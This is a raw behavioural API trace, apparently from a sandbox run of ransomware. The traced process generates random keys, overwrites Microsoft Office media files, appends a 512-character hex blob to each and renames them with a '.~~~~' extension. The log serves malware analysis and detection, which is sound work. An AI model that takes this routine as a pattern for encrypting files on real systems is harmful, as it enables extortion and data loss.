	[0124.325] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24431522318) returned 1
	[0124.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3941350, dwHighDateTime=0x1d60e1e)) 
	[0124.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820638
	[0124.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820638 | out: hHeap=0x300000) returned 1
	[0124.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bef60
	[0124.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.326] GetLastError () returned 0x0
	[0124.326] GetLastError () returned 0x0
	[0124.326] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.326] GetLastError () returned 0x0
	[0124.327] GetLastError () returned 0x0
	[0124.329] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd812, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.330] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x27ee, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x27ee, lpOverlapped=0x0) returned 1
	[0124.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.332] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.332] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.332] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.332] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.332] CloseHandle (hObject=0x11c) returned 1
	[0124.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bef60
	[0124.333] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234657.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234657.wmf.~~~~")) returned 1
	[0124.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef60 | out: hHeap=0x300000) returned 1
	[0124.334] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.334] GetLastError () returned 0x0
	[0124.335] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395410) returned 1
	[0124.336] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.336] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0124.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.336] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24432649396) returned 1
	[0124.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3941350, dwHighDateTime=0x1d60e1e)) 
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820670
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0124.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820670 | out: hHeap=0x300000) returned 1
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf090
	[0124.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.337] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.338] GetLastError () returned 0x0
	[0124.338] GetLastError () returned 0x0
	[0124.338] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.338] GetLastError () returned 0x0
	[0124.338] GetLastError () returned 0x0
	[0124.399] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff2b1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.399] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xd4f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0xd4f, lpOverlapped=0x0) returned 1
	[0124.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.403] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.403] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.403] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.403] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.404] CloseHandle (hObject=0x11c) returned 1
	[0124.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf680
	[0124.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234687.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234687.gif.~~~~")) returned 1
	[0124.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf680 | out: hHeap=0x300000) returned 1
	[0124.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.533] GetLastError () returned 0x0
	[0124.539] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0124.739] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.739] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.739] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24472907714) returned 1
	[0124.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3cf95b0, dwHighDateTime=0x1d60e1e)) 
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820788
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820788 | out: hHeap=0x300000) returned 1
	[0124.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdec0
	[0124.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.740] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.740] GetLastError () returned 0x0
	[0124.740] GetLastError () returned 0x0
	[0124.740] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.740] GetLastError () returned 0x0
	[0124.741] GetLastError () returned 0x0
	[0124.745] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff878a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.745] WriteFile (in: hFile=0x144, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x7876, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7876, lpOverlapped=0x0) returned 1
	[0124.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.747] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.747] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.748] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.748] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.748] CloseHandle (hObject=0x144) returned 1
	[0124.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfd08
	[0124.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.~~~~")) returned 1
	[0124.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfd08 | out: hHeap=0x300000) returned 1
	[0124.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.787] GetLastError () returned 0x0
	[0124.788] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0124.789] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.789] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.790] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24477973162) returned 1
	[0124.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3d6b9d0, dwHighDateTime=0x1d60e1e)) 
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28209b8
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28209b8 | out: hHeap=0x300000) returned 1
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf8e0
	[0124.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.790] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.791] GetLastError () returned 0x0
	[0124.791] GetLastError () returned 0x0
	[0124.791] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.791] GetLastError () returned 0x0
	[0124.791] GetLastError () returned 0x0
	[0124.795] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff8eb8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.795] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x7148, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7148, lpOverlapped=0x0) returned 1
	[0124.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.798] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.798] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.798] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.798] CloseHandle (hObject=0xc4) returned 1
	[0124.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfd08
	[0124.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.~~~~")) returned 1
	[0124.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfd08 | out: hHeap=0x300000) returned 1
	[0124.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.800] GetLastError () returned 0x0
	[0124.801] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0124.802] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.802] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.802] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24479212063) returned 1
	[0124.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3d91b30, dwHighDateTime=0x1d60e1e)) 
	[0124.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28209f0
	[0124.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28209f0 | out: hHeap=0x300000) returned 1
	[0124.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfed0
	[0124.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.803] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0124.803] GetLastError () returned 0x0
	[0124.803] GetLastError () returned 0x0
	[0124.803] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0124.803] GetLastError () returned 0x0
	[0124.804] GetLastError () returned 0x0
	[0124.806] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdf32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.806] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x20ce, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x20ce, lpOverlapped=0x0) returned 1
	[0124.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0124.808] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.809] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.809] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.809] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.809] CloseHandle (hObject=0xc4) returned 1
	[0124.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfd08
	[0124.809] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.~~~~")) returned 1
	[0124.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfd08 | out: hHeap=0x300000) returned 1
	[0124.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.811] GetLastError () returned 0x0
	[0124.812] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
